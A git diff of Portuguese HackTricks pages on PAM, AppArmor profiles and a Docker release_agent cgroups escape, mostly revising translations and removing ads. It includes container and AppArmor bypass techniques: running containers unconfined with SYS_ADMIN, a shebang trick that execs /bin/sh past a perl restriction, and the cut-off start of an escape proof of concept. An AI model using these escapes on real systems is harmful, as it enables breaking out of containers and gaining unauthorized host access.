{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -142,7 +129,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,19 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
### Informações Básicas
@ -58,48 +45,37 @@ Esses reinos, ou grupos de gerenciamento, incluem **auth**, **account**, **passw
* **Auth**: Valida a identidade do usuário, frequentemente solicitando uma senha.
* **Account**: Trata da verificação da conta, checando condições como pertencimento a grupos ou restrições de horário.
* **Password**: Gerencia atualizações de senha, incluindo verificações de complexidade ou prevenção contra ataques de dicionário.
* **Session**: Gerencia ações durante o início ou fim de uma sessão de serviço, como montar diretórios ou definir limites de recursos.
* **Session**: Gerencia ações durante o início ou o fim de uma sessão de serviço, como montar diretórios ou definir limites de recursos.
#### **Controles de Módulo PAM**
Os controles ditam a resposta do módulo ao sucesso ou falha, influenciando o processo de autenticação geral. Estes incluem:
Os controles ditam a resposta do módulo ao sucesso ou falha, influenciando o processo geral de autenticação. Estes incluem:
* **Required**: A falha de um módulo obrigatório resulta em falha eventual, mas somente após todos os módulos subsequentes serem verificados.
* **Required**: A falha de um módulo requerido resulta em falha eventual, mas somente após todos os módulos subsequentes serem verificados.
* **Requisite**: Término imediato do processo em caso de falha.
* **Sufficient**: O sucesso ignora as verificações do restante do mesmo reino, a menos que um módulo subsequente falhe.
* **Optional**: Causa falha apenas se for o único módulo na pilha.
#### Cenário de Exemplo
Em uma configuração com múltiplos módulos de autenticação, o processo segue uma ordem estrita. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
Em uma configuração com múltiplos módulos de auth, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com o `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação.
### Referências
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,44 @@
# AppArmor
{% hint style="success" %}
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
## Basic Information
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Informações Básicas
AppArmor é um **aperfeiçoamento do kernel projetado para restringir os recursos disponíveis para programas por meio de perfis por programa**, implementando efetivamente o Controle de Acesso Obrigatório (MAC) vinculando atributos de controle de acesso diretamente aos programas em vez de aos usuários. Esse sistema opera **carregando perfis no kernel**, geralmente durante a inicialização, e esses perfis ditam quais recursos um programa pode acessar, como conexões de rede, acesso a soquetes brutos e permissões de arquivo.
AppArmor é uma **melhoria do kernel projetada para restringir os recursos disponíveis para programas através de perfis por programa**, implementando efetivamente o Controle de Acesso Mandatório (MAC) ao vincular atributos de controle de acesso diretamente a programas em vez de usuários. Este sistema opera **carregando perfis no kernel**, geralmente durante a inicialização, e esses perfis ditam quais recursos um programa pode acessar, como conexões de rede, acesso a soquetes brutos e permissões de arquivo.
Existem dois modos operacionais para os perfis do AppArmor:
* **Modo de Execução**: Este modo aplica ativamente as políticas definidas dentro do perfil, bloqueando ações que violam essas políticas e registrando quaisquer tentativas de violá-las por meio de sistemas como syslog ou auditd.
* **Modo de Reclamação**: Ao contrário do modo de execução, o modo de reclamação não bloqueia ações que vão contra as políticas do perfil. Em vez disso, ele registra essas tentativas como violações de política sem impor restrições.
* **Modo de Aplicação**: Este modo aplica ativamente as políticas definidas dentro do perfil, bloqueando ações que violam essas políticas e registrando quaisquer tentativas de violá-las através de sistemas como syslog ou auditd.
* **Modo de Reclamação**: Ao contrário do modo de aplicação, o modo de reclamação não bloqueia ações que vão contra as políticas do perfil. Em vez disso, registra essas tentativas como violações de política sem impor restrições.
### Componentes do AppArmor
### Components of AppArmor
* **Módulo do Kernel**: Responsável pela aplicação das políticas.
* **Políticas**: Especificam as regras e restrições para o comportamento do programa e acesso a recursos.
* **Analisador**: Carrega políticas no kernel para aplicação ou relatório.
* **Utilitários**: São programas em modo de usuário que fornecem uma interface para interagir e gerenciar o AppArmor.
* **Utilitários**: Estes são programas em modo usuário que fornecem uma interface para interagir e gerenciar o AppArmor.
### Caminho dos Perfis
### Profiles path
Os perfis do AppArmor geralmente são salvos em _**/etc/apparmor.d/**_\
Com `sudo aa-status` você poderá listar os binários que estão restritos por algum perfil. Se você substituir o caractere "/" por um ponto no caminho de cada binário listado, obterá o nome do perfil do apparmor dentro da pasta mencionada.
Com `sudo aa-status` você poderá listar os binários que estão restritos por algum perfil. Se você puder trocar o caractere "/" por um ponto no caminho de cada binário listado, você obterá o nome do perfil do AppArmor dentro da pasta mencionada.
Por exemplo, um perfil **apparmor** para _/usr/bin/man_ estará localizado em _/etc/apparmor.d/usr.bin.man_
Por exemplo, um **perfil do apparmor** para _/usr/bin/man_ estará localizado em _/etc/apparmor.d/usr.bin.man_
### Comandos
### Commands
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -64,40 +50,40 @@ aa-mergeprof #used to merge the policies
```
## Criando um perfil
* Para indicar o executável afetado, são permitidos **caminhos absolutos e curingas** (para expansão de arquivos) para especificar arquivos.
* Para indicar o executável afetado, **caminhos absolutos e curingas** são permitidos (para globbing de arquivos) para especificar arquivos.
* Para indicar o acesso que o binário terá sobre **arquivos**, os seguintes **controles de acesso** podem ser usados:
* **r** (leitura)
* **w** (escrita)
* **m** (mapear em memória como executável)
* **r** (ler)
* **w** (escrever)
* **m** (mapa de memória como executável)
* **k** (bloqueio de arquivo)
* **l** (criação de links rígidos)
* **l** (criação de links duros)
* **ix** (executar outro programa com o novo programa herdando a política)
* **Px** (executar sob outro perfil, após limpar o ambiente)
* **Cx** (executar sob um perfil filho, após limpar o ambiente)
* **Ux** (executar sem restrições, após limpar o ambiente)
* **Variáveis** podem ser definidas nos perfis e podem ser manipuladas de fora do perfil. Por exemplo: @{PROC} e @{HOME} (adicionar #include \<tunables/global> ao arquivo de perfil)
* **Variáveis** podem ser definidas nos perfis e podem ser manipuladas de fora do perfil. Por exemplo: @{PROC} e @{HOME} (adicione #include \<tunables/global> ao arquivo de perfil)
* **Regras de negação são suportadas para substituir regras de permissão**.
### aa-genprof
Para começar a criar um perfil facilmente, o apparmor pode ajudar. É possível fazer **o apparmor inspecionar as ações realizadas por um binário e então permitir que você decida quais ações deseja permitir ou negar**.\
Basta executar:
Para começar a criar um perfil facilmente, o apparmor pode ajudar você. É possível fazer **o apparmor inspecionar as ações realizadas por um binário e então deixar você decidir quais ações deseja permitir ou negar**.\
Você só precisa executar:
```bash
sudo aa-genprof /path/to/binary
```
Em seguida, em um console diferente, execute todas as ações que o binário normalmente executaria:
Então, em um console diferente, execute todas as ações que o binário geralmente realizará:
```bash
/path/to/binary -a dosomething
```
Em seguida, na primeira console pressione "**s**" e depois nas ações gravadas indique se deseja ignorar, permitir ou o que for. Quando terminar, pressione "**f**" e o novo perfil será criado em _/etc/apparmor.d/path.to.binary_
Então, na primeira console pressione "**s**" e depois nas ações gravadas indique se você deseja ignorar, permitir ou qualquer outra coisa. Quando terminar, pressione "**f**" e o novo perfil será criado em _/etc/apparmor.d/path.to.binary_
{% hint style="info" %}
Usando as teclas de seta, você pode selecionar o que deseja permitir/negar/ou qualquer outra ação
Usando as teclas de seta, você pode selecionar o que deseja permitir/negar/qualquer outra coisa
{% endhint %}
### aa-easyprof
Você também pode criar um modelo de um perfil apparmor de um binário com:
Você também pode criar um template de um perfil apparmor de um binário com:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -123,16 +109,16 @@ sudo aa-easyprof /path/to/binary
}
```
{% hint style="info" %}
Note que por padrão, em um perfil criado, nada é permitido, ou seja, tudo é negado. Você precisará adicionar linhas como `/etc/passwd r,` para permitir a leitura do binário `/etc/passwd`, por exemplo.
Observe que, por padrão, em um perfil criado, nada é permitido, então tudo é negado. Você precisará adicionar linhas como `/etc/passwd r,` para permitir a leitura do binário `/etc/passwd`, por exemplo.
{% endhint %}
Você pode então **aplicar** o novo perfil com
Você pode então **impor** o novo perfil com
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Modificando um perfil a partir de logs
A seguinte ferramenta irá ler os logs e perguntar ao usuário se ele deseja permitir algumas das ações proibidas detectadas:
A ferramenta a seguir irá ler os logs e perguntar ao usuário se ele deseja permitir algumas das ações proibidas detectadas:
```bash
sudo aa-logprof
```
@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Registos
## Logs
Exemplo de registos de **AUDIT** e **DENIED** do ficheiro _/var/log/audit/audit.log_ do executável **`service_bin`**:
Exemplo de logs **AUDIT** e **DENIED** de _/var/log/audit/audit.log_ do executável **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
Você também pode obter essa informação usando:
Você também pode obter essas informações usando:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -175,7 +161,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor no Docker
Observe como o perfil **docker-profile** do docker é carregado por padrão:
Note como o perfil **docker-profile** do docker é carregado por padrão:
```bash
sudo aa-status
apparmor module is loaded.
@ -191,33 +177,33 @@ apparmor module is loaded.
/usr/lib/connman/scripts/dhclient-script
docker-default
```
Por padrão, o perfil **Apparmor docker-default** é gerado a partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Por padrão, o **perfil docker-default do Apparmor** é gerado a partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**Resumo do perfil docker-default**:
- **Acesso** a toda a **rede**
- **Nenhuma capacidade** é definida (No entanto, algumas capacidades virão da inclusão de regras básicas de base, ou seja, #include \<abstractions/base>)
- **Escrita** em qualquer arquivo **/proc** não é **permitida**
- Outros **subdiretórios**/**arquivos** de /**proc** e /**sys** têm acesso de leitura/escrita/bloqueio/link/execução **negado**
- **Montagem** não é permitida
- **Ptrace** só pode ser executado em um processo que está confinado pelo **mesmo perfil apparmor**
* **Acesso** a toda a **rede**
* **Nenhuma capacidade** é definida (No entanto, algumas capacidades virão da inclusão de regras básicas, ou seja, #include \<abstractions/base>)
* **Escrita** em qualquer arquivo **/proc** **não é permitida**
* Outros **subdiretórios**/**arquivos** de /**proc** e /**sys** têm acesso de leitura/escrita/bloqueio/link/executar **negado**
* **Montagem** **não é permitida**
* **Ptrace** só pode ser executado em um processo que está confinado pelo **mesmo perfil apparmor**
Uma vez que você **executa um contêiner docker**, você deve ver a seguinte saída:
Uma vez que você **execute um contêiner docker**, você deve ver a seguinte saída:
```bash
1 processes are in enforce mode.
docker-default (825)
```
Note que o **apparmor até mesmo bloqueará privilégios de capacidades** concedidos ao contêiner por padrão. Por exemplo, ele será capaz de **bloquear a permissão de escrever dentro de /proc mesmo se a capacidade SYS\_ADMIN for concedida** porque por padrão o perfil apparmor do docker nega esse acesso:
Note que **o apparmor até bloqueará privilégios de capacidades** concedidos ao contêiner por padrão. Por exemplo, ele será capaz de **bloquear a permissão para escrever dentro de /proc mesmo que a capacidade SYS\_ADMIN seja concedida** porque, por padrão, o perfil do apparmor do docker nega esse acesso:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
Você precisa **desativar o apparmor** para ignorar suas restrições:
Você precisa **desativar o apparmor** para contornar suas restrições:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Note que por padrão o **AppArmor** também **proibirá o contêiner de montar** pastas de dentro, mesmo com a capacidade SYS\_ADMIN.
Note que por padrão **AppArmor** também **proibirá o contêiner de montar** pastas de dentro, mesmo com a capacidade SYS\_ADMIN.
Note que você pode **adicionar/remover** **capacidades** ao contêiner docker (isso ainda será restrito por métodos de proteção como **AppArmor** e **Seccomp**):
@ -226,14 +212,14 @@ Note que você pode **adicionar/remover** **capacidades** ao contêiner docker (
* `--cap-drop=ALL --cap-add=SYS_PTRACE` remove todas as capacidades e dá apenas `SYS_PTRACE`
{% hint style="info" %}
Normalmente, quando você **descobre** que tem uma **capacidade privilegiada** disponível **dentro** de um **contêiner docker**, mas alguma parte do **exploit não está funcionando**, isso será porque o **apparmor do docker estará impedindo**.
Geralmente, quando você **descobre** que tem uma **capacidade privilegiada** disponível **dentro** de um **contêiner** **docker**, **mas** alguma parte do **exploit não está funcionando**, isso será porque o **apparmor do docker estará impedindo**.
{% endhint %}
### Exemplo
(Exemplo de [**aqui**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Para ilustrar a funcionalidade do AppArmor, criei um novo perfil Docker "mydocker" com a seguinte linha adicionada:
Para ilustrar a funcionalidade do AppArmor, criei um novo perfil Docker “mydocker” com a seguinte linha adicionada:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
@ -246,34 +232,32 @@ Para listar os perfis, podemos executar o seguinte comando. O comando abaixo est
$ sudo apparmor_status | grep mydocker
mydocker
```
Como mostrado abaixo, obtemos um erro ao tentar alterar "/etc/" pois o perfil do AppArmor está impedindo o acesso de escrita ao "/etc".
Como mostrado abaixo, recebemos um erro ao tentar mudar “/etc/” já que o perfil do AppArmor está impedindo o acesso de escrita a “/etc”.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### Bypass do Docker do AppArmor1
### AppArmor Docker Bypass1
Você pode descobrir qual **perfil do apparmor está sendo executado por um contêiner** usando:
Você pode descobrir qual **perfil apparmor está executando um contêiner** usando:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Em seguida, você pode executar a seguinte linha para **encontrar o perfil exato sendo usado**:
Então, você pode executar a seguinte linha para **encontrar o perfil exato que está sendo usado**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
### Bypass do Docker do AppArmor
No caso estranho de você poder **modificar o perfil do apparmor do docker e recarregá-lo.** Você poderia remover as restrições e "contorná-las".
No caso estranho em que você pode **modificar o perfil do apparmor do docker e recarregá-lo**, você poderia remover as restrições e "burlá-las".
### Bypass do AppArmor Docker2
### Bypass do AppArmor
O **AppArmor é baseado em caminhos**, isso significa que mesmo que ele possa estar **protegendo** arquivos dentro de um diretório como **`/proc`**, se você puder **configurar como o contêiner será executado**, você poderia **montar** o diretório proc do host dentro de **`/host/proc`** e ele **não será mais protegido pelo AppArmor**.
**AppArmor é baseado em caminho**, isso significa que mesmo que ele possa estar **protegendo** arquivos dentro de um diretório como **`/proc`**, se você puder **configurar como o contêiner será executado**, você poderia **montar** o diretório proc do host dentro de **`/host/proc`** e ele **não estará mais protegido pelo AppArmor**.
### Bypass do Shebang do AppArmor
Neste [**bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) você pode ver um exemplo de como **mesmo que você esteja impedindo o perl de ser executado com certos recursos**, se você simplesmente criar um script shell **especificando** na primeira linha **`#!/usr/bin/perl`** e você **executar o arquivo diretamente**, você será capaz de executar o que quiser. Por exemplo:
Em [**este bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) você pode ver um exemplo de como **mesmo que você esteja impedindo que o perl seja executado com certos recursos**, se você apenas criar um script shell **especificando** na primeira linha **`#!/usr/bin/perl`** e você **executar o arquivo diretamente**, você poderá executar o que quiser. Ex.:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -283,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Supporte o HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,37 +1,24 @@
# Fuga de cgroups do Docker release_agent
# Docker release\_agent cgroups escape
{% hint style="success" %}
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
Você pode verificar o site deles e experimentar o mecanismo de busca deles de forma **gratuita** em:
{% embed url="https://whiteintel.io" %}
***
**Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo:
PoC Original:
Original PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -39,21 +26,21 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
